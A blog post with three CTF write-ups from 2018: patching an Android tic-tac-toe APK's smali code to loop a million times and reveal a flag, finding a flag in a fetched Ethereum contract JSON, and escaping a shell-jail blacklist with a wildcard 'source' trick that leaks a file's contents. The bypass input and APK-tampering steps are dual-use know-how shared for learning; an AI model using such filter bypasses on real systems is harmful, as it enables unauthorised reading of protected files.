Google CTF 2018 shall we play a game

Although we haven’t managed to submit the flag correctly, I’m still publishing this write-up. Maybe it helps someone.

The Google CTF 2018 “shall we play a game?” challenge:

This was in the reverse engineering category, only included a link to an apk file (mirror) and the short description to win the game 1’000’000 times to get the flag.

I already had the setup to run and investigate Android Apps from a very great BSides Munich workshop Fun with Frida. In the end I didn’t end up using Frida to solve the challenge, but the setup alone helped a lot already.

Looking at the game, it is a very simple tic-tac-toe game with a win counter that goes up to 1’000’000:

Starting to reverse it I’ve used unpack-apk.sh to extract the apk file and attempt to decompile it as well. Looking at the source code at app/extracted/src/main/java/com/google/ctf/shallweplayagame/GameActivity.java we find that this is the main program. Two functions there are of interest to us (comments by me):

    // Display flag and some magic we don't understand
    void m() {
        Object _ = N._(Integer.valueOf(0), N.a, Integer.valueOf(0));
        Object _2 = N._(Integer.valueOf(1), N.b, this.q, Integer.valueOf(1));
        N._(Integer.valueOf(0), N.c, _, Integer.valueOf(2), _2);
        ((TextView) findViewById(R.id.score)).setText(new String((byte[]) N._(Integer.valueOf(0), N.d, _, this.r)));
        o();
    }

    void n() {
        // Reset the board, remove X and O from the board
        for (int i = 0; i < 3; i++) {
            for (int i2 = 0; i2 < 3; i2++) {
                this.l[i2][i].a(a.EMPTY, 25);
            }
        }
        k();
        // Increase win counter
        this.o++;
        // Some magic we don't understand
        Object _ = N._(Integer.valueOf(2), N.e, Integer.valueOf(2));
        N._(Integer.valueOf(2), N.f, _, this.q);
        this.q = (byte[]) N._(Integer.valueOf(2), N.g, _);
        // Check if win counter is 1'000'000
        if (this.o == 1000000) {
            // Show the flag
            m();
            return;
        }
        ((TextView) findViewById(R.id.score)).setText(String.format("%d / %d", new Object[]{Integer.valueOf(this.o), Integer.valueOf(1000000)}));
    }

My first attempts were to start the game with a win counter of already 999’999 or decrease the 1’000’000 to 2. But neither worked, we won the game but instead of the flag we’d get binary garbage displayed. It’s clear that the magic we don’t understand needs to run 1’000’000 to produce the correct string (line 21 – 23).

I’ve started to look at the assembly file app/extracted/smali/com/google/ctf/shallweplayagame/GameActivity.smali and the method n() as that’s where we need to make changes:


.method n()V
    .locals 10

    const v9, 0xf4240

This must be the right place, 0xf4240 is 1’000’000 in hex. We can somewhat easy find the increase of the win counter:


    iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

    add-int/lit8 v0, v0, 0x1

    iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

And further down is the win check:


    iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I

    if-ne v0, v9, :cond_2

    invoke-virtual {p0}, Lcom/google/ctf/shallweplayagame/GameActivity;->m()V

Between those sections, we need to add a new loop which runs 1’000’000 times. I’ve did that with the following patch:


--- orig/GameActivity.smali	2018-06-26 10:47:29.072510136 +0200
+++ patched/GameActivity.smali	2018-06-26 11:21:00.495157390 +0200
@@ -664,7 +664,8 @@
 .end method
 
 .method n()V
-    .locals 10
+    # Increase local variable count by one
+    .locals 11
 
     const v9, 0xf4240
 
@@ -676,6 +677,9 @@
 
     const/4 v6, 0x2
 
+    # Add new variable v10 with value 0
+    const v10, 0x0
+
     move v2, v1
 
     :goto_0
@@ -716,8 +720,20 @@
 
     add-int/lit8 v0, v0, 0x1
 
+    # move 1'000'000 into the win counter, we now only need to win once
+    move v0, v9
+
     iput v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I
 
+    # add new loop, goto_3 label
+    :goto_3
+
+    # break out condition, if v10 is 1'000'000 goto cond_3
+    if-ge v10, v9, :cond_3
+
+    # increase loop counter v10 by 1
+    add-int/lit8 v10, v10, 0x1
+
     new-array v0, v7, [Ljava/lang/Object;
 
     invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
@@ -786,6 +802,12 @@
 
     iput-object v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->q:[B
 
+    # end of the for loop, jump back up to goto_3 label until v10 is 1'000'000
+    goto :goto_3
+
+    # break out label, jump here if v10 is 1'000'000
+    :cond_3
+
     iget v0, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I
 
     if-ne v0, v9, :cond_2

Now we just need to build a new apk file, zipalign it, sign it, install it on our emulator and run it:


# apktool b
# zipalign -v 4 dist/app.apk app.aligned.apk
# jarsigner -verbose -storepass android -keystore ~/.android/debug.keystore app.aligned.apk signkey
# adb install app.aligned.apk

And when we run it finally this screen is displayed:

The flag is CTF{ThLssOfInncncIsThPrcOfAppls} or CTF{ThLssOfInncncIsThPrcOfAppIs} or CTF{ThLssOflnncncIsThPrcOfAppls} – I’m still not sure.

WPICTF 2018 guess5

The WPICTF 2018 “guess5” challenge:

The URL presented us with a guessing game, we have to pick 6 numbers. If we picked the correct numbers we’ll get a flag:

However submitting our picks never worked. Investigating this for a bit it looks like this requires to run a local Ethereum node. Before trying to set that up we’ve looked more into what the web application does. Interestingly it fetches the URL https://glgaines.github.io/guess5/Guess6.json (mirror here). In there we can find the ETH contract including in plain text for some reason. Which contains the flag:

The flag is: WPI{All_Hail_The_Mighty_Vitalik}

WPICTF 2018 Shell-JAIL-2

The WPICTF 2018 “Shell-JAIL-2” challenge:

This is almost the same challenge as Shell-JAIL-1 (see my write-up here for explanation of details) with the exception of one extra line in access.c (full mirror here):

        setenv("PATH", "", 1);

This means that before dropping the arguments to system() the $PATH environment variable is unset. Also the blacklist filter of the previous challenge remains the same. With that only built in sh commands will continue to work and since / is also blacklisted we cannot provide full paths to binaries either. For example id will now not work while pwd still executes:

But the . (or source) command still works. With that we can tell the shell to try to execute the flag.txt file and the error message will reveal its content. We still use the ? wildcard to circumvent the other blacklist by passing . "fl?g.t?t" to it:

The flag is: wpi{p0s1x_sh3Lls_ar3_w13rD}